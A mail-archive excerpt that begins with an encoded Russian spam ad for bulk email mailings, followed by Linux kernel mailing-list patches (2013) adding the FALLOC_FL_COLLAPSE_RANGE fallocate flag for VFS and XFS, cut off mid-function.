=C1=E0=E7=E0 =E2=F1=FF =CC=EE=F1=EA=E2=E0(12.5=EC=EB=ED.)- 15000=F0=F3=E1= =EB=E5=E9. =C1=E0=E7=E0 =E2=F1=FF =D0=CE=D1=C8=C8=DF(30=EC=EB=ED.)- 25000=F0=F3=E1=EB= =E5=E9. =CE=F2 500=F0=F3=E1=EB=E5=E9/=EC=EB=ED. =EF=F0=E8 =E1=CE=EB=FC=F8=E8=F5 = =E7=E0=EA=E0=E7=E0=F5. =CF=EE=F1=F2=EE=FF=ED=ED=FB=EC =E8 =EA=F0=F3=EF=ED=FB=EC =E7=E0=EA=E0=E7= =F7=E8=EA=E0=EC- =E1=EE=EB=FC=F8=E8=E5 =F1=EA=E8=E4=EA=E8! =D2=E0=EA=E6=E5 =E4=E5=E9=F1=F2=E2=F3=E5=F2 =E0=EA=F6=E8=FF- =EF=F0=E8 =E7= =E0=EA=E0=E7=E5 =EE=E4=ED=EE=E2=F0=E5=EC=E5=ED=ED=EE 2=F5 =E1=E0=E7- 3=FE =F0=E0=F1=F1=FB=EB=E0=E5=EC =C1=CE=CD=D3=D1=CE=CC! =C7=E0=EA=E0=E7 =F0=E5=EA=EB=E0=EC=FB: +7(926)1888-017 MAIL: MosRek1@yahoo.com (=EF=E8=F8=E8=F2=E5 =D2=CE=CB=DC=CA=CE =ED=E0 =FD=F2=EE=F2 =E0=E4=F0=E5=F1= , =E0 =CD=C5 =E2 =EE=F2=E2=E5=F2 =ED=E0 =EF=E8=F1=FC=EC=EE!) ------=_NextPart_000_0F69_01CEF423.C7A0A5F0 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
 =CF=F0=E5=E4= =EB=E0=E3=E0=E5=EC =EC=E0=F1=F1=EE=E2=FB=E5=20 email-=F0=E0=F1=F1=FB=EB=EA=E8 =E4=EB=FF =E2=E0=F8=E5=E3=EE =E1=E8=E7=ED=E5= =F1=E0!
 
 =C2 =ED=E0=EB=E8=F7=E8= =E8 =E1=E0=E7=FB =CC=EE=F1=EA=E2=FB(12.5=EC=EB=ED.=20 =E0=E4=F0=E5=F1=EE=E2) =E8 =F0=E5=E3=E8=EE=ED=EE=E2 =D0=EE=F1=F1=E8=E8(17= =EC=EB=ED.).
 =CC=E8=ED=E8=EC=E0=EB= =FC=ED=FB=E9 =EE=E1=FA=E5=EC =E7=E0=EA=E0=E7=E0-=20 2.5=EC=EB=ED.(4000=F0=F3=E1=EB=E5=E9 =E7=E0 =F0=E0=F1=F1=FB=EB=EA=F3).
 =C1=E0=E7=E0 =E2=F1=FF= =CC=EE=F1=EA=E2=E0(12.5=EC=EB=ED.)-=20 15000=F0=F3=E1=EB=E5=E9.
 =C1=E0=E7=E0 =E2=F1=FF= =D0=CE=D1=C8=C8=DF(30=EC=EB=ED.)-=20 25000=F0=F3=E1=EB=E5=E9.
 =CE=F2 500=F0=F3=E1=EB= =E5=E9/=EC=EB=ED. =EF=F0=E8 =E1=CE=EB=FC=F8=E8=F5=20 =E7=E0=EA=E0=E7=E0=F5.
 =CF=EE=F1=F2=EE=FF=ED= =ED=FB=EC =E8 =EA=F0=F3=EF=ED=FB=EC =E7=E0=EA=E0=E7=F7=E8=EA=E0=EC-=20 =E1=EE=EB=FC=F8=E8=E5 =F1=EA=E8=E4=EA=E8!
 =D2=E0=EA=E6=E5 =E4=E5= =E9=F1=F2=E2=F3=E5=F2 =E0=EA=F6=E8=FF- =EF=F0=E8 =E7=E0=EA=E0=E7=E5=20 =EE=E4=ED=EE=E2=F0=E5=EC=E5=ED=ED=EE 2=F5 =E1=E0=E7-
 3=FE =F0=E0=F1=F1=FB=EB= =E0=E5=EC =C1=CE=CD=D3=D1=CE=CC!
 
  =C7=E0=EA=E0=E7 =F0=E5=EA=EB=E0= =EC=FB: +7(926)1888-017
  MAIL:= MosRek1@yahoo.com
 (=EF=E8=F8=E8=F2=E5&n= bsp;=D2=CE=CB=DC=CA=CE =ED=E0 =FD=F2=EE=F2 =E0=E4=F0=E5=F1,=20 =E0 =CD=C5 =E2 =EE=F2=E2=E5=F2 =ED=E0 =EF=E8=F1=FC=EC=EE!) ------=_NextPart_000_0F69_01CEF423.C7A0A5F0-- From linkinjeon@gmail.com Sun Dec 8 08:00:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9ACE47F90 for ; Sun, 8 Dec 2013 08:00:03 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8B1D38F8064 for ; Sun, 8 Dec 2013 06:00:00 -0800 (PST) X-ASG-Debug-ID: 1386511187-04cbb041686020e0001-NocioJ Received: from mail-pd0-f173.google.com (mail-pd0-f173.google.com [209.85.192.173]) by cuda.sgi.com with ESMTP id yEaE9E03mQ8jHdQM (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 08 Dec 2013 05:59:50 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.192.173 Received: by mail-pd0-f173.google.com with SMTP id p10so3641336pdj.32 for ; Sun, 08 Dec 2013 05:59:47 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=P/C1/7LQtUoszBkJEFsKATYIcZaB1KlH+tFSM/AsXPE=; b=ME64FESFhHIUVbMHTEZdzgjyKrZPFbYLdiAS26lZ66kuZMA6xe0FS1DcbxVTJxVq3V 0XoLS9ejcx7zCSvvN+MZD1cPqjPjgDpojW/qYapNilLiHQi5SJ7fCL/w/NyIszDXqOwJ We/DJcw4NOANXe6pLUGCCQywgwHGMAL2hOqIW16QxK4ye3E6L6FjJJuENW3ALtXaHUs2 qDGGRmrwawsQBQYNRemIY2A3c5jCt6IFVgzYucEZjskiSS7nPEfBPw+ZbE9X3V3OLLgC AE4eWjS+uipGla0Pz9m58EAtDEMP6dJTSYbaYdlkzk1c8WLjY8oH48z2e/G+qG3kXnLY EyIA== X-Barracuda-BBL-IP: nil X-Received: by 10.67.22.67 with SMTP id hq3mr15349789pad.132.1386511186976; Sun, 08 Dec 2013 05:59:46 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.87]) by mx.google.com with ESMTPSA id bh6sm15451050pad.20.2013.12.08.05.59.44 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 08 Dec 2013 05:59:46 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.87 To: viro@zeniv.linux.org.uk, dchinner@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon Subject: [PATCH v4 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Date: Sun, 8 Dec 2013 22:59:24 +0900 X-ASG-Orig-Subj: [PATCH v4 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Message-Id: <1386511164-3251-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pd0-f173.google.com[209.85.192.173] X-Barracuda-Start-Time: 1386511190 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142934 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon This patch series is in response of the following post: http://lwn.net/Articles/556136/ "ext4: introduce two new ioctls" Dave chinner suggested that truncate_block_range (which was one of the ioctls name) should be an fallocate operation and not any fs specific ioctl, hence we add this functionality to fallocate. This patch series introduces new flag FALLOC_FL_COLLAPSE_RANGE for fallocate and implements it for XFS and Ext4. The semantics of this flag are following: 1) It collapses the range lying between offset and length by removing any data blocks which are present in this range and than updates all the logical offsets of extents beyond "offset + len" to nullify the hole created by removing blocks. In short, it does not leave a hole. 2) It should be used exclusively. No other fallocate flag in combination. 3) Offset and length supplied to fallocate should be fs block size aligned in case of xfs and ext4. 4) Collaspe range does not work beyond i_size. This new functionality of collapsing range could be used by media editing tools which does non linear editing to quickly purge and edit parts of a media file. This will immensely improve the performance of these operations. The limitation of fs block size aligned offsets can be easily handled by media codecs which are encapsulated in a conatiner as they have to just change the offset to next keyframe value to match the proper alignment. Change log v4: - vfs: Move block size aligned check from VFS layer to FS specific layer. - vfs: update comments for FALLOC_FL_COLLAPSE_RANGE in user visible header file. - xfs: update comments for xfs_bmap_shift_extents and change variable name to more reasonable name. - xfs: add ASSERTs for pointers in XFS patch. - xfs: drop all the xfs_bmbt_get*() wrappers. - xfs and ext4: change return errno from EFSCORRUPTED to EINVAL when hole is not large enough to shift. - xfs: remove extents from on-disk btree also in case of merge. - xfstest: separate shared/316 test to shared/001 ~ 004 in xfstest. - xfstest: update multi collapse test shared/005 for block size less than page size case. - manpage: update description. v3: Fix checkpatch.pl errors v2: Fix review points from Dave Chinner. Namjae Jeon (10): fs: Add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate xfs: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate xfsprog: xfsio: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate xfstest: shared/001: Standard collapse range tests xfstest: shared/002: Delayed allocation collapse range xfstest: shared/003: Multi collapse range tests xfstest: shared/004: Delayed allocation multi collapse xfstest: shared/005: Test multiple fallocate collapse manpage: update FALLOC_FL_COLLAPSE_RANGE flag in fallocate -- 1.7.9.5 From linkinjeon@gmail.com Sun Dec 8 08:00:05 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 8A84B7F90 for ; Sun, 8 Dec 2013 08:00:05 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6AAA38F8064 for ; Sun, 8 Dec 2013 06:00:05 -0800 (PST) X-ASG-Debug-ID: 1386511200-04cbb04167602100001-NocioJ Received: from mail-pb0-f51.google.com (mail-pb0-f51.google.com [209.85.160.51]) by cuda.sgi.com with ESMTP id y2YXrshxvKYgwjwB (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 08 Dec 2013 06:00:02 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.160.51 Received: by mail-pb0-f51.google.com with SMTP id up15so3765102pbc.24 for ; Sun, 08 Dec 2013 06:00:00 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=0ytFP5BqLl9cItOBNE3kWDILCwGZaGzbI+dEx3r4Wm8=; b=N7XRlpuZWRSQThfqAHnxWNf+/m1iqEmfMB0iVFqkA4POc8L9yuC1KKJiJmPC1Jg4Rw +a+i2LIQECKz6O2cIx8wgeGQxY4lzXGKISUc2coHlv9EYxHI6XCO90LA3xqrSs6wNHWS W/tJ/qZBfOAHP44hqp/zLEqcxjjVwp3PS40L1fDS3MrNbUTE74834Evp7XHMkRrvKQV6 7Yvexnf2D/xKpf0wabqR4AzW5a3LGxvzpHF/AeqwRA7XnkGG0ZGcHGQrJMv97wQQ7oEg G0HTbRpGdtyDfVMbNarW8NTNSrm/UfkPMJ+TsYbB6RDs3sE0jVTb7hXncVVdsBjOj5d+ uR4Q== X-Barracuda-BBL-IP: nil X-Received: by 10.66.161.1 with SMTP id xo1mr2947239pab.146.1386511200018; Sun, 08 Dec 2013 06:00:00 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.87]) by mx.google.com with ESMTPSA id xn12sm15463357pac.12.2013.12.08.05.59.57 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 08 Dec 2013 05:59:59 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.87 To: viro@zeniv.linux.org.uk, dchinner@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon , Ashish Sangwan Subject: [PATCH v4 1/10] fs: Add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Date: Sun, 8 Dec 2013 22:59:51 +0900 X-ASG-Orig-Subj: [PATCH v4 1/10] fs: Add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Message-Id: <1386511191-3285-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pb0-f51.google.com[209.85.160.51] X-Barracuda-Start-Time: 1386511202 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142934 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon Add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate. updated detailed semantics in comments. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- fs/open.c | 24 +++++++++++++++++++++--- include/uapi/linux/falloc.h | 21 +++++++++++++++++++++ 2 files changed, 42 insertions(+), 3 deletions(-) diff --git a/fs/open.c b/fs/open.c index 4b3e1ed..4a923a5 100644 --- a/fs/open.c +++ b/fs/open.c @@ -231,7 +231,8 @@ int do_fallocate(struct file *file, int mode, loff_t offset, loff_t len) return -EINVAL; /* Return error if mode is not supported */ - if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE)) + if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | + FALLOC_FL_COLLAPSE_RANGE)) return -EOPNOTSUPP; /* Punch hole must have keep size set */ @@ -239,11 +240,20 @@ int do_fallocate(struct file *file, int mode, loff_t offset, loff_t len) !(mode & FALLOC_FL_KEEP_SIZE)) return -EOPNOTSUPP; + /* Collapse range should only be used exclusively. */ + if ((mode & FALLOC_FL_COLLAPSE_RANGE) && + (mode & ~FALLOC_FL_COLLAPSE_RANGE)) + return -EINVAL; + if (!(file->f_mode & FMODE_WRITE)) return -EBADF; - /* It's not possible punch hole on append only file */ - if (mode & FALLOC_FL_PUNCH_HOLE && IS_APPEND(inode)) + /* + * It's not possible to punch hole or perform collapse range + * on append only file + */ + if (mode & (FALLOC_FL_PUNCH_HOLE | FALLOC_FL_COLLAPSE_RANGE) + && IS_APPEND(inode)) return -EPERM; if (IS_IMMUTABLE(inode)) @@ -271,6 +281,14 @@ int do_fallocate(struct file *file, int mode, loff_t offset, loff_t len) if (((offset + len) > inode->i_sb->s_maxbytes) || ((offset + len) < 0)) return -EFBIG; + /* + * There is no need to overlap collapse range with EOF, in which case + * it is effectively a truncate operation + */ + if ((mode & FALLOC_FL_COLLAPSE_RANGE) && + (offset + len >= i_size_read(inode))) + return -EINVAL; + if (!file->f_op->fallocate) return -EOPNOTSUPP; diff --git a/include/uapi/linux/falloc.h b/include/uapi/linux/falloc.h index 990c4cc..5b214cc 100644 --- a/include/uapi/linux/falloc.h +++ b/include/uapi/linux/falloc.h @@ -5,5 +5,26 @@ #define FALLOC_FL_PUNCH_HOLE 0x02 /* de-allocates range */ #define FALLOC_FL_NO_HIDE_STALE 0x04 /* reserved codepoint */ +/* + * FALLOC_FL_COLLAPSE_RANGE is used to remove a range of a file + * without leaving a hole in the file. The contents of the file beyond + * the range being removed is appended to the start offset of the range + * being removed (i.e. the hole that was punched is "collapsed"), + * resulting in a file layout that looks like the range that was + * removed never existed. As such collapsing a range of a file changes + * the size of the file, reducing it by the same length of the range + * that has been removed by the operation. + * + * Different filesystems may implement different limitations on the + * granularity of the operation. Most will limit operations to + * filesystem block size boundaries, but this boundary may be larger or + * smaller depending on the filesystem and/or the configuration of the + * filesystem or file. + * + * Attempting to collapse a range that crosses the end of the file is + * considered an illegal operation - just use ftruncate(2) if you need + * to collapse a range that crosses EOF. + */ +#define FALLOC_FL_COLLAPSE_RANGE 0x08 #endif /* _UAPI_FALLOC_H_ */ -- 1.7.9.5 From linkinjeon@gmail.com Sun Dec 8 08:00:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 10ACA7F99 for ; Sun, 8 Dec 2013 08:00:30 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id C9BCD304043 for ; Sun, 8 Dec 2013 06:00:26 -0800 (PST) X-ASG-Debug-ID: 1386511215-04bdf01321101a90001-NocioJ Received: from mail-pd0-f172.google.com (mail-pd0-f172.google.com [209.85.192.172]) by cuda.sgi.com with ESMTP id rPnKYZXozSf4llQw (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 08 Dec 2013 06:00:19 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.192.172 Received: by mail-pd0-f172.google.com with SMTP id g10so3659445pdj.3 for ; Sun, 08 Dec 2013 06:00:15 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=foX+JX9OBb4phAodbuJyFbQPgLc4jaLJLWwF0jpQCcg=; b=0XbnaJGF+qoAZrW1Pw9UHEHt4pG2X7fxCoeqjsRPnLqJsKaPluR3pRjsOK7g1ReKJ4 dY8JFmDMOELk3UdssDSVEJhK+w2LXLk7nMvbm/WEiw+W7QElYyKnkIaAQuo8Qrfv58qU K5ihwUsU5mpZHR1ra7glCVlASLIzhzWQzbLXOiz9Twb0F90mVb2wAvFiZYa+Y4FAXEq3 ZITGrw3gDILqpEzzdzzriMB2AQCFKHBuwHL09xsXB0cBC9g0pqefcUaHNYzdnziI7Ac0 UPiVYopRQ/xanlrJ4qP5RbZnaY2fqG9qEKMz1D2GbnIRAMCQ73FospzYoOmK4wns9H4O CfAw== X-Barracuda-BBL-IP: nil X-Received: by 10.66.162.136 with SMTP id ya8mr15243618pab.110.1386511215463; Sun, 08 Dec 2013 06:00:15 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.87]) by mx.google.com with ESMTPSA id iu7sm11129959pbc.45.2013.12.08.06.00.12 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 08 Dec 2013 06:00:14 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.87 To: viro@zeniv.linux.org.uk, dchinner@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon , Ashish Sangwan Subject: [PATCH v4 2/10] xfs: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Date: Sun, 8 Dec 2013 23:00:07 +0900 X-ASG-Orig-Subj: [PATCH v4 2/10] xfs: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Message-Id: <1386511207-3319-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pd0-f172.google.com[209.85.192.172] X-Barracuda-Start-Time: 1386511219 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142934 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon Add support FALLOC_FL_COLLAPSE_RANGE for fallocate. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- fs/xfs/xfs_bmap.c | 195 ++++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_bmap.h | 5 ++ fs/xfs/xfs_bmap_util.c | 99 ++++++++++++++++++++++++ fs/xfs/xfs_bmap_util.h | 2 + fs/xfs/xfs_file.c | 19 ++++- fs/xfs/xfs_trace.h | 1 + 6 files changed, 319 insertions(+), 2 deletions(-) diff --git a/fs/xfs/xfs_bmap.c b/fs/xfs/xfs_bmap.c index 3ef11b2..aba3fc9 100644 --- a/fs/xfs/xfs_bmap.c +++ b/fs/xfs/xfs_bmap.c @@ -5358,3 +5358,198 @@ error0: } return error; } + +/* + * Shift extent records to the left to cover a hole. + * + * The maximum number of extents to be shifted in a single operation + * is @num_exts, and @current_ext keeps track of the current extent + * index we have shifted. @offset_shift_fsb is the length by which each + * extent is shifted. If there is no hole to shift the extents + * into, this will be considered invalid operation and we abort immediately. + */ +int +xfs_bmap_shift_extents( + struct xfs_trans *tp, + struct xfs_inode *ip, + int *done, + xfs_fileoff_t start_fsb, + xfs_fileoff_t offset_shift_fsb, + xfs_extnum_t *current_ext, + xfs_fsblock_t *firstblock, + struct xfs_bmap_free *flist, + int num_exts) +{ + struct xfs_btree_cur *cur; + struct xfs_bmbt_rec_host *gotp; + struct xfs_bmbt_irec got; + struct xfs_bmbt_irec left; + struct xfs_mount *mp = ip->i_mount; + struct xfs_ifork *ifp; + xfs_extnum_t nexts = 0; + xfs_fileoff_t startoff; + int error = 0; + int i; + int whichfork = XFS_DATA_FORK; + int logflags; + xfs_filblks_t blockcount = 0; + + if (unlikely(XFS_TEST_ERROR( + (XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_EXTENTS && + XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_BTREE), + mp, XFS_ERRTAG_BMAPIFORMAT, XFS_RANDOM_BMAPIFORMAT))) { + XFS_ERROR_REPORT("xfs_bmap_shift_extents", + XFS_ERRLEVEL_LOW, mp); + return XFS_ERROR(EFSCORRUPTED); + } + + if (XFS_FORCED_SHUTDOWN(mp)) + return XFS_ERROR(EIO); + + ASSERT(current_ext != NULL); + + ifp = XFS_IFORK_PTR(ip, whichfork); + + if (!(ifp->if_flags & XFS_IFEXTENTS)) { + /* Read in all the extents */ + error = xfs_iread_extents(tp, ip, whichfork); + if (error) + return error; + } + + /* + * If *current_ext is 0, we would need to lookup the extent + * from where we would start shifting and store it in gotp. + */ + if (!*current_ext) { + gotp = xfs_iext_bno_to_ext(ifp, start_fsb, current_ext); + /* + * gotp can be null in 2 cases: 1) if there are no extents + * or 2) start_fsb lies in a hole beyond which there are + * no extents. Either way, we are done. + */ + if (!gotp) { + *done = 1; + return 0; + } + } + + /* We are going to change core inode */ + logflags = XFS_ILOG_CORE; + + if (ifp->if_flags & XFS_IFBROOT) { + cur = xfs_bmbt_init_cursor(mp, tp, ip, whichfork); + cur->bc_private.b.firstblock = *firstblock; + cur->bc_private.b.flist = flist; + cur->bc_private.b.flags = 0; + } else { + cur = NULL; + logflags |= XFS_ILOG_DEXT; + } + + while (nexts++ < num_exts && + *current_ext < XFS_IFORK_NEXTENTS(ip, whichfork)) { + + gotp = xfs_iext_get_ext(ifp, *current_ext); + xfs_bmbt_get_all(gotp, &got); + startoff = got.br_startoff - offset_shift_fsb; + + /* + * Before shifting extent into hole, make sure that the hole + * is large enough to accomodate the shift. + */ + if (*current_ext) { + xfs_bmbt_get_all(xfs_iext_get_ext(ifp, + *current_ext - 1), &left); + + if (startoff < left.br_startoff + left.br_blockcount) + error = XFS_ERROR(EINVAL); + + } else if (startoff > xfs_bmbt_get_startoff(gotp)) { + /* Hole is at the start but not large enough */ + error = XFS_ERROR(EINVAL); + } + + if (error) + goto del_cursor; + + if (cur) { + error = xfs_bmbt_lookup_eq(cur, + got.br_startoff, + got.br_startblock, + got.br_blockcount, + &i); + if (error) + goto del_cursor; + XFS_WANT_CORRUPTED_GOTO(i == 1, del_cursor); + } + + /* Check if we can merge 2 adjacent extents */ + if (*current_ext && + left.br_startoff + left.br_blockcount == startoff && + left.br_startblock + left.br_blockcount == + got.br_startblock && + left.br_state == got.br_state && + left.br_blockcount + got.br_blockcount <= MAXEXTLEN) { + blockcount = left.br_blockcount + + xfs_bmbt_get_blockcount(gotp); + xfs_iext_remove(ip, *current_ext, 1, 0); + if (cur) { + error = xfs_btree_delete(cur, &i); + if (error) + goto del_cursor; + XFS_WANT_CORRUPTED_GOTO(i == 1, del_cursor); + } + XFS_IFORK_NEXT_SET(ip, whichfork, + XFS_IFORK_NEXTENTS(ip, whichfork) - 1); + gotp = xfs_iext_get_ext(ifp, --*current_ext); + xfs_bmbt_get_all(gotp, &got); + + /* Make cursor point to the extent we will update */ + if (cur) { + error = xfs_bmbt_lookup_eq(cur, + got.br_startoff, + got.br_startblock, + got.br_blockcount, + &i); + if (error) + goto del_cursor; + XFS_WANT_CORRUPTED_GOTO(i == 1, del_cursor); + } + + xfs_bmbt_set_blockcount(gotp, blockcount); + got.br_blockcount = blockcount; + goto bmbt_update; + } + + /* We have to update the startoff */ + xfs_bmbt_set_startoff(gotp, startoff); + got.br_startoff = startoff; + +bmbt_update: + if (cur) { + error = xfs_bmbt_update(cur, + got.br_startoff, + got.br_startblock, + got.br_blockcount, + got.br_state); + if (error) + goto del_cursor; + } + + (*current_ext)++; + } + + /* Check if we are done */ + if (*current_ext == XFS_IFORK_NEXTENTS(ip, whichfork)) + *done = 1; + +del_cursor: + if (cur) + xfs_btree_del_cursor(cur, + error ? XFS_BTREE_ERROR : XFS_BTREE_NOERROR); + + xfs_trans_log_inode(tp, ip, logflags); + + return error; +} diff --git a/fs/xfs/xfs_bmap.h b/fs/xfs/xfs_bmap.h index 33b41f3..7bfe67c 100644 --- a/fs/xfs/xfs_bmap.h +++ b/fs/xfs/xfs_bmap.h @@ -169,5 +169,10 @@ int xfs_bunmapi(struct xfs_trans *tp, struct xfs_inode *ip, int xfs_check_nostate_extents(struct xfs_ifork *ifp, xfs_extnum_t idx, xfs_extnum_t num); uint xfs_default_attroffset(struct xfs_inode *ip); +int xfs_bmap_shift_extents(struct xfs_trans *tp, struct xfs_inode *ip, + int *done, xfs_fileoff_t start_fsb, + xfs_fileoff_t offset_shift_fsb, xfs_extnum_t *current_ext, + xfs_fsblock_t *firstblock, struct xfs_bmap_free *flist, + int num_exts); #endif /* __XFS_BMAP_H__ */ diff --git a/fs/xfs/xfs_bmap_util.c b/fs/xfs/xfs_bmap_util.c index 5887e41..7b62f5d 100644 --- a/fs/xfs/xfs_bmap_util.c +++ b/fs/xfs/xfs_bmap_util.c @@ -1446,6 +1446,105 @@ out: } /* + * xfs_collapse_file_space() + * This routine frees disk space and shift extent for the given file. + * + * RETURNS: + * 0 on success + * errno on error + * + */ +int +xfs_collapse_file_space( + struct xfs_inode *ip, + xfs_off_t offset, + xfs_off_t len) +{ + int done = 0; + struct xfs_mount *mp = ip->i_mount; + struct xfs_trans *tp; + int error; + xfs_extnum_t current_ext = 0; + struct xfs_bmap_free free_list; + xfs_fsblock_t first_block; + int committed; + 